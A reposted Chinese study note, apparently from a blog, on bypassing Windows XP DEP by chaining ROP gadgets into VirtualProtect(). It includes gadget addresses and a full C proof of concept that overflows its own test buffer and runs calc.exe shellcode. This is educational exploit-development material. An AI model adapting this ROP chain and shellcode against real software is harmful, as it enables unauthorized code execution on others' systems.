DEP: Ret2Libc via VirtualProtect()
来源:互联网 发布:武汉理工大学网络教学 编辑:程序博客网 时间:2024/06/05 17:17
VirtualProtect() 绕过DEP
文章参考 0day 安全:软件漏洞分析技术:
学习了DEP 绕过技术中的 VirtualProtect()绕过DEP,不过书中的例子是以windows 2003 为例,通过学习,一步一步在xp上测试成功。
BOOL VirtualProtect{ LPVOID lpAddress, // 需要修改属性的内存的起始地址 DWORD dwSize, // 大小 DWORD flNewProtect, // 新属性,其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40 PDWORD lpflOldProtect // 原始属性的保存地址};
接下来演示如何动态定位 shellcode,然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null,为便于演示起见,漏洞函数设为 memcpy(),同时关闭 SafeSEH 和 GS 保护。
VirtualProtect() 函数的反汇编代码如下:
7C801AD4 > 8BFF MOV EDI,EDI ; ret2libc.004034F87C801AD6 55 PUSH EBP7C801AD7 8BEC MOV EBP,ESP7C801AD9 FF75 14 PUSH DWORD PTR SS:[EBP+14] ; 设置参数 lpflOldProtect7C801ADC FF75 10 PUSH DWORD PTR SS:[EBP+10] ; 设置参数 flNewProtect : 0x407C801ADF FF75 0C PUSH DWORD PTR SS:[EBP+C] ; 设置参数 dwSize7C801AE2 FF75 08 PUSH DWORD PTR SS:[EBP+8] ; 设置参数 lpAddress7C801AE5 6A FF PUSH -17C801AE7 E8 75FFFFFF CALL kernel32.VirtualProtectEx ; 转入 VirtualProtectEx()7C801AEC 5D POP EBP7C801AED C2 1000 RETN 10
由以上反汇编代码可知,只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数,再转入 0x7C801AD9 就可以关闭 DEP 了。
接下来布置 shellcode。首先修复被破坏的 ebp(为何修复参见前一篇笔记):push esp, pop ebp, retn 4。
关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置,并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后,esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp,那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn,既可以使 esp 指向 ebp+0xC,又能掌握程序的控制权。
shellcode 如下:
1 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"2 ......3 "\xE5\xE0\x72\x7D" // return address, adjust ebp : push esp, pop ebp, retn 44 "\x40\x26\xD8\x7D" // retn5 "\x90\x90\x90\x90"6 "\x4A\xD4\xB8\x7D" // push esp call edi
这里采用上一篇笔记中说到的方法,在第 3 行之前将 edi 指向目标 code,然后布置栈帧,在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后,ebp+8 处的指针就指向可操作的地址了(此时 ebp+8 == esp == [esp+4]),接下来要布置 ebp+0x14,使其指向可写的内存。首先让 esp 指向 ebp+0x14 附近,然后再考虑在 ebp+0x14 写入一个可写的地址。这里用上一篇结尾处提到的技巧:
1 "\x21\xAf\xCB\x7D" // return address : pop edi retn2 "\x40\x12\x5A\x78" // pop ecx,pop ebx,pop eax,retn3 "\xE5\xE0\x72\x7D" // adjust ebp : push esp, pop ebp, retn 44 "\x40\x26\xD8\x7D" // retn5 "\x90\x90\x90\x90"6 "\x0A\xDC\xBA\x7D" // push esp jmp edi(0x785A1240:pop ecx,pop ebx,pop eax,retn)
如此一来,esp 就指向了 ebp+0x18 的位置,这时只要 push esp,ebp+0x14 就指向 ebp+0x18 了,ebp+0x18 是可写的!push esp 之后,VirtualProtect() 的参数就布置好了,可以修改内存可执行属性了!再次利用已经用过的 jmp eax,使 eip 指向 shellcode 就可以了(将前文的 pop edi 和 jmp edi 中的 edi 用 eax 指令替代了,原因是 rop tramp 需要位于可执行区域,而可执行代码区 eax 的指令较 edi 多,方便寻找):
// GS_Virtual.cpp : 定义控制台应用程序的入口点。//#include <stdlib.h>#include <string.h>#include <stdio.h>#include <windows.h>char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90""\x94\xb0\x6c\x7d" //0x7d6cb094 pop eax ret//"\x34\x7a\xc1\x77" //POP EBX POP ESI POP EDI RETN at 0x77c17a34 //"\x26\x62\x92\x7d" //POP ECX POP ECX POP ECX RETN at 0x7d926226"\x69\x36\x5C\x7D" // pop edi,pop ebx,pop esi,retn"\xe5\xe0\x72\x7d" //0x7d72e0e5 push esp pop ebp ret 4"\x24\x01\x6f\x7d" //ret "\x90\x90\x90\x90""\xc6\xc6\xeb\x77" //77ebc6c6 push esp jmp eax"\x10\x01\x00\x00" //要修改的内存大小"\x40\x00\x00\x00" //可读可写可执行属性代码"\xc6\xc6\xeb\x77" //77ebc6c6 push esp jmp eax"\x90\x90\x90\x90""\x90\x90\x90\x90""\xD9\x1A\x80\x7C"//修改内存属性"\x90\x90\x90\x90""\xEB\x30\x5A\x7D"//jmp esp"\x90\x90\x90\x90""\x90\x90\x90\x90""\x90\x90\x90\x90""\x90\x90\x90\x90""\x90\x90\x90\x90""\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30""\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff""\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52""\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1""\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b""\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03""\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b""\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24""\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb""\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f""\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5""\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a""\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";void test(){char tt[176];printf("ttttttttttttttttttttt\n");memcpy(tt,shellcode,sizeof(shellcode) + 1);}int main(){HINSTANCE hInst = LoadLibrary("shell32.dll");char temp[200];test(); return 0;}
Hint :
一,突破 DEP 之前的踏板指令,需要在可执行区域,这一点害我走了弯路。可以用 OllyFindAddr 插件,如果使用后的 Log 太长不方便看,可以先 Log to File
二,这里用到的就是传说中的 ROP(Return-Oriented-Programming),利用思路值得掌握!
- DEP: Ret2Libc via VirtualProtect()
- 利用Ret2Libc挑战DEP之二——利用VirtualProtect
- Ret2Libc学习NtSetInformationProcess DEP
- VirtualProtect 2方法 -direct ret-dep-easy rm to mp3
- 利用Ret2Libc挑战DEP——利用ZwSetInformationProcess
- VirtualProtect
- VirtualProtect()
- VirtualProtect()
- 默认win7+开启DEP win7 VirtualProtect 3方法 The KMPlayer 3.0.0.1440 WIN7 ASLR+DEP
- Ret2libc
- VirtualProtect 3方法 -seh ret-ASLR-dep-Adrenalin Player 2.2.5.3
- 记录学习《0Day安全》路上遇到的问题解决方案 利用Ret2Libc挑战DEP
- DEP
- VirtualProtect函数
- (转)VirtualProtect、VirtualLock、VirtualUnlock
- VirtualProtect遇上OutputDebugString
- VirtualProtect、VirtualLock、VirtualUnlock
- Ret2libc 利用 VitualProtect
- CardView的使用
- Java延迟初始化的2种经典模式
- Android拨打电话与发送信息
- linux目录详细
- 系统架构设计理论与原则、负载均衡及高可用系统设计速记
- DEP: Ret2Libc via VirtualProtect()
- Android自动化-双击操作
- Python系列之 - python文件操作
- Sicily 1636. Show me the money
- shell处理文件
- Oracle数字型,字符型,日期型函数
- windows配置php时显示Loaded Configuration File:None
- rabbitMq学习笔记(未完)
- Android studio中常用插件